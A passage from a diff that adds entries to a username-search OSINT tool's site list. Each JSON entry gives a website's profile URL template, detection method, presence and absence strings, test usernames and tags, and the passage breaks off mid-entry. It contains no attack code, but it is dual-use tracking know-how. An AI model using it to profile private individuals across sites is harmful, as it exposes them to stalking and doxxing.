"usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spectrum-z.ru": { + "engine": "uCoz", + "urlMain": "http://spectrum-z.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "satsoft.at.ua": { + "engine": "uCoz", + "urlMain": "http://satsoft.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "theatre.my1.ru": { + "engine": "uCoz", + "urlMain": "http://theatre.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "photoaura.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://photoaura.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "stroy-s-nami.ucoz.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://stroy-s-nami.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god" + }, + "ltsai.at.ua": { + "engine": "uCoz", + "urlMain": "http://ltsai.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "fst-kolos.do.am": { + "engine": "uCoz", + "urlMain": "http://fst-kolos.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mozga-net.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mozga-net.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5613210 + }, + "promalp.dp.ua": { + "engine": "uCoz", + "urlMain": "http://promalp.dp.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "css-nn-52-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://css-nn-52-rus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zdesvsyo.com": { + "engine": "uCoz", + "urlMain": "http://zdesvsyo.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "sebastopol.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sebastopol.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "autosila.at.ua": { + "engine": "uCoz", + "urlMain": "http://autosila.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ladpremiya.ru": { + "engine": "uCoz", + "urlMain": "http://ladpremiya.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kaz.ionyk.ru": { + "engine": "uCoz", + "urlMain": "http://kaz.ionyk.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "electronic-component.org": { + "engine": "uCoz", + "urlMain": "http://electronic-component.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7078895 + }, + "xn--80aepdb4ag.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--80aepdb4ag.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "remont56.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://remont56.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "personagra-ta.ru": { + "engine": "uCoz", + "urlMain": "http://personagra-ta.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "compline.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://compline.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "thelike.ru": { + "engine": "uCoz", + "urlMain": "http://thelike.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 6696802 + }, + "wwork.my1.ru": { + "engine": "uCoz", + "urlMain": "http://wwork.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fs-mods-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://fs-mods-rus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2022177 + }, + "show.co.ua": { + "engine": "uCoz", + "urlMain": "http://show.co.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "viupetra.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://viupetra.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5005149 + }, + "irteam.ru": { + "engine": "uCoz", + "urlMain": "http://irteam.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zvukinadezdy.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zvukinadezdy.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4494749 + }, + "ps-cs.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://ps-cs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4701999 + }, + "gta-fan-zone.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gta-fan-zone.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tovyanskaya.at.ua": { + "engine": "uCoz", + "urlMain": "http://tovyanskaya.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "scooter-helper.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://scooter-helper.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "opinion.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://opinion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "staroverovka.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://staroverovka.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 10724495 + }, + "hevc-club.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://hevc-club.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 907643 + }, + "fx-profit.at.ua": { + "engine": "uCoz", + "urlMain": "http://fx-profit.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spaceserials.ru": { + "engine": "uCoz", + "urlMain": "http://spaceserials.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "profsouz-au.ru": { + "engine": "uCoz", + "urlMain": "http://profsouz-au.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "avto.dzerghinsk.org": { + "disabled": true, + "tags": [ + "ua" + ], + "engine": "uCoz", + "urlMain": "http://avto.dzerghinsk.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1423460 + }, + "sufficit.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sufficit.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fly.my1.ru": { + "engine": "uCoz", + "urlMain": "http://fly.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "schoolteacher.moy.su": { + "engine": "uCoz", + "urlMain": "http://schoolteacher.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vkusnyashkino.ru": { + "engine": "uCoz", + "urlMain": "http://vkusnyashkino.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "urmai-urmaevo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://urmai-urmaevo.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "metrologika.ru": { + "engine": "uCoz", + "urlMain": "http://metrologika.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bookz.su": { + "engine": "uCoz", + "urlMain": "http://bookz.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pik100.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pik100.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3466485 + }, + "ahera.ru": { + "engine": "uCoz", + "urlMain": "http://ahera.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "drawings-base.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://drawings-base.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mycomputer.ks.ua": { + "engine": "uCoz", + "urlMain": "http://mycomputer.ks.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "portal-cs-1-6.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://portal-cs-1-6.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "forum4.ucoz.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://forum4.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum" + ] + }, + "tvigra.clan.su": { + "engine": "uCoz", + "urlMain": "http://tvigra.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbcctevcqafop1aviko5l.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbcctevcqafop1aviko5l.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4364152 + }, + "lori.at.ua": { + "engine": "uCoz", + "urlMain": "http://lori.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "minnac.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://minnac.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xyuivet-mailcpy.moy.su": { + "engine": "uCoz", + "urlMain": "http://xyuivet-mailcpy.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dubrovo.moy.su": { + "engine": "uCoz", + "urlMain": "http://dubrovo.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "animelend.my1.ru": { + "engine": "uCoz", + "urlMain": "http://animelend.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "art-nata.my1.ru": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "urlMain": "http://art-nata.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 1151909 + }, + "wmmail-wmmail.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://wmmail-wmmail.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zornet.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://zornet.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 462105 + }, + "top10allservers.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://top10allservers.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "na-sochi.ru": { + "engine": "uCoz", + "urlMain": "http://na-sochi.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "simf-mama.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://simf-mama.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kredituemall.ru": { + "engine": "uCoz", + "urlMain": "http://kredituemall.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mircasov.ru": { + "engine": "uCoz", + "urlMain": "http://mircasov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3446959 + }, + "vsemobile.my1.ru": { + "engine": "uCoz", + "urlMain": "http://vsemobile.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "art-color.my1.ru": { + "engine": "uCoz", + "urlMain": "http://art-color.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "tags": [ + "medicine", + "ru" + ] + }, + "usersoft.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://usersoft.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zapgame.ru": { + "engine": "uCoz", + "urlMain": "http://zapgame.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "yagubov.site": { + "engine": "uCoz", + "urlMain": "http://yagubov.site", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "ships.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ships.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "masseffect-universe.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://masseffect-universe.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 928328 + }, + "histroom.my1.ru": { + "engine": "uCoz", + "urlMain": "http://histroom.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "music2dj.clan.su": { + "engine": "uCoz", + "urlMain": "http://music2dj.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "osta.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://osta.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cpu.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cpu.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ufive.ru": { + "engine": "uCoz", + "urlMain": "http://ufive.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mir2007.ru": { + "engine": "uCoz", + "urlMain": "http://mir2007.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "popugi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://popugi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "hokage.tv": { + "engine": "uCoz", + "urlMain": "http://hokage.tv", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dzintarsmos09.ru": { + "engine": "uCoz", + "urlMain": "http://dzintarsmos09.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "wm.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://wm.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "margaritas.clan.su": { + "engine": "uCoz", + "urlMain": "http://margaritas.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "kotneko.at.ua": { + "engine": "uCoz", + "urlMain": "http://kotneko.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aribut.ru": { + "engine": "uCoz", + "urlMain": "http://aribut.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "death-legion.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://death-legion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tom.do.am": { + "engine": "uCoz", + "urlMain": "http://tom.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "beatl.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://beatl.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "homeofsky.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://homeofsky.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tlgrm.pro": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://tlgrm.pro", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "ucozzz.ru": { + "engine": "uCoz", + "urlMain": "http://ucozzz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "appleinsider.ru": { + "tags": [ + "news", + "ru", + "tech" + ], + "engine": "engine404", + "urlMain": "https://appleinsider.ru", + "url": "https://appleinsider.ru/author/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 49678 + }, + "accounts.eclipse.org": { + "tags": [ + "coding" + ], + "engine": "engine404", + "urlMain": "https://accounts.eclipse.org", + "url": "https://accounts.eclipse.org/users/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6446 + }, + "amp.flipboard.com": { + "tags": [ + "news" + ], + "engine": "engine404", + "urlMain": "https://amp.flipboard.com", + "url": "https://amp.flipboard.com/@{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2079 + }, + "banki.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://banki.ru", + "url": "https://banki.ru/blog/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3616 + }, + "colourlovers.com": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "http://colourlovers.com", + "url": "http://colourlovers.com/lover/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 30699 + }, + "Basecamphq": { + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://basecamphq.com", + "url": "https://{username}.basecamphq.com/login", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 37337 + }, + "community.getpostman.com": { + "tags": [ + "forum", + "in", + "tech" + ], + "engine": "Discourse", + "urlMain": "https://community.getpostman.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3556 + }, + "designspiration.com": { + "tags": [ + "art" + ], + "engine": "engine404", + "urlMain": "https://designspiration.com", + "url": "https://designspiration.com/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 23471 + }, + "drupal.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 - 404" + ], + "presenseStrs": [ + "<ul class=\"tabs--primary\">" + ], + "urlMain": "https://drupal.ru", + "url": "https://drupal.ru/username/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 346804 + }, + "followus.com": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "https://followus.com", + "url": "https://followus.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 107398 + }, + "discuss.codecademy.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://discuss.codecademy.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 2347 + }, + "fancy.com": { + "disabled": true, + "tags": [ + "shopping" + ], + "engine": "engine404", + "urlMain": "https://fancy.com", + "url": "https://fancy.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 55415 + }, + "fotostrana.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://fotostrana.ru", + "url": "https://fotostrana.ru/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3672 + }, + "freelancehunt.ru": { + "tags": [ + "ru", + "uz" + ], + "engine": "engine404", + "urlMain": "https://freelancehunt.ru", + "url": "https://freelancehunt.ru/freelancer/{username}.html", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1248520 + }, + "freelance.ua": { + "tags": [ + "ua" + ], + "errors": { + "https://freelance.ua/war/": "Site censorship" + }, + "engine": "engine404", + "urlMain": "https://freelance.ua", + "url": "https://freelance.ua/en/user/{username}/portfolio/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 264688 + }, + "linktr.ee": { + "tags": [ + "links" + ], + "checkType": "message", + "absenceStrs": [ + "The page you\u2019re looking for doesn\u2019t exist.", + "Want this to be your username?" + ], + "presenseStrs": [ + "@container/profile-container" + ], + "urlMain": "https://linktr.ee", + "url": "https://linktr.ee/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "Blisscartoos", + "alexaRank": 134 + }, + "jsfiddle.net": { + "tags": [ + "coding", + "sharing" + ], + "engine": "engine404", + "urlMain": "https://jsfiddle.net", + "url": "https://jsfiddle.net/user/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john", + "alexaRank": 2375 + }, + "rive.app": { + "tags": [ + "in" + ], + "engine": "engine404", + "urlMain": "https://rive.app", + "url": "https://rive.app/a/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 100125 + }, + "stopgame.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://stopgame.ru", + "url": "https://stopgame.ru/users/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 36379 + }, + "social.msdn.microsoft.com": { + "disabled": true, + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://social.msdn.microsoft.com", + "url": "https://social.msdn.microsoft.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 19 + }, + "selly.gg": { + "engine": "engine404", + "urlMain": "https://selly.gg", + "url": "https://selly.gg/@{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1735049 + }, + "{username}.tilda.ws": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://tilda.ws", + "url": "https://{username}.tilda.ws", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2251 + }, + "{username}.portfoliobox.net": { + "tags": [ + "in", + "jp", + "us" + ], + "engine": "engine404", + "urlMain": "https://portfoliobox.net", + "url": "https://{username}.portfoliobox.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 56594 + }, + "teamtreehouse.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Member Since" + ], + "absenceStrs": [ + "Bummer! You must be logged in to access this page." + ], + "urlMain": "https://teamtreehouse.com", + "url": "https://teamtreehouse.com/profiles/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god", + "alexaRank": 16193 + }, + "twentysix.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://twentysix.ru", + "url": "https://twentysix.ru/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 935029 + }, + "xakep.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://xakep.ru", + "url": "https://xakep.ru/author/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 67953 + }, + "hi-news.ru": { + "tags": [ + "ru" + ], + "engine": "engine404", + "urlMain": "https://hi-news.ru", + "url": "https://hi-news.ru/author/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 51542 + }, + "russpuss.ru": { + "engine": "engine404", + "urlMain": "https://www.russpuss.ru", + "url": "https://www.russpuss.ru/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "erotic", + "forum", + "ru" + ], + "alexaRank": 1893858 + }, + "upwork.com": { + "tags": [ + "us" + ], + "engine": "engine404", + "urlMain": "https://upwork.com", + "url": "https://upwork.com/fl/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 215 + }, + "joyreactor.cc": { + "tags": [ + "art", + "nl", + "ru" + ], + "engine": "engineRedirect", + "urlMain": "http://joyreactor.cc", + "url": "http://joyreactor.cc/user/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 12813 + }, + "codeforces.com": { + "tags": [ + "coding", + "in" + ], + "errors": { + "The page is temporarily blocked by administrator.": "IP ban" + }, + "checkType": "message", + "presenseStrs": [ + "Contest rating" + ], + "urlMain": "http://codeforces.com", + "url": "http://codeforces.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6824 + }, + "GitHubGist": { + "tags": [ + "coding", + "sharing" + ], + "engine": "engineRedirect", + "urlMain": "https://gist.github.com", + "url": "https://gist.github.com/{username}", + "source": "GitHub", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 26 + }, + "hosting.kitchen": { + "tags": [ + "ru" + ], + "engine": "engineRedirect", + "urlMain": "https://hosting.kitchen", + "url": "https://hosting.kitchen/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 1363479 + }, + "tripit.com": { + "disabled": true, + "tags": [ + "us" + ], + "engine": "engineRedirect", + "urlMain": "https://tripit.com", + "url": "https://tripit.com/people/{username}#/profile/basic-info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 29179 + }, + "freelance.ru": { + "tags": [ + "ru" + ], + "engine": "engine404get", + "urlMain": "https://freelance.ru", + "url": "https://freelance.ru/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 63852 + }, + "freelansim.ru": { + "engine": "engine404get", + "urlMain": "https://freelansim.ru", + "url": "https://freelansim.ru/freelancers/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 8720399 + }, + "fotolog.com": { + "tags": [ + "in" + ], + "engine": "engine404get", + "urlMain": "http://fotolog.com", + "url": "http://fotolog.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 30498 + }, + "thoughts.com": { + "tags": [ + "blog" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Page not found" + ], + "presenseStrs": [ + "user-activity" + ], + "urlMain": "http://thoughts.com", + "url": "http://thoughts.com/members/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "jules60", + "alexaRank": 313408 + }, + "hackernoon.com": { + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>HackerNoon" + ], + "presenseStrs": [ + " | HackerNoon" + ], + "urlMain": "https://hackernoon.com", + "url": "https://hackernoon.com/u/{username}", + "usernameUnclaimed": "noonewouldeverusethis71", + "usernameClaimed": "god", + "alexaRank": 4611 + }, + "Intigriti": { + "tags": [ + "eu", + "hacking" + ], + "checkType": "message", + "presenseStrs": [ + "avatar-container" + ], + "absenceStrs": [ + "We didn't find what you're looking for" + ], + "urlMain": "https://intigriti.com", + "url": "https://app.intigriti.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 128097 + }, + "yamaya.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "Skype:" + ], + "absenceStrs": [ + "

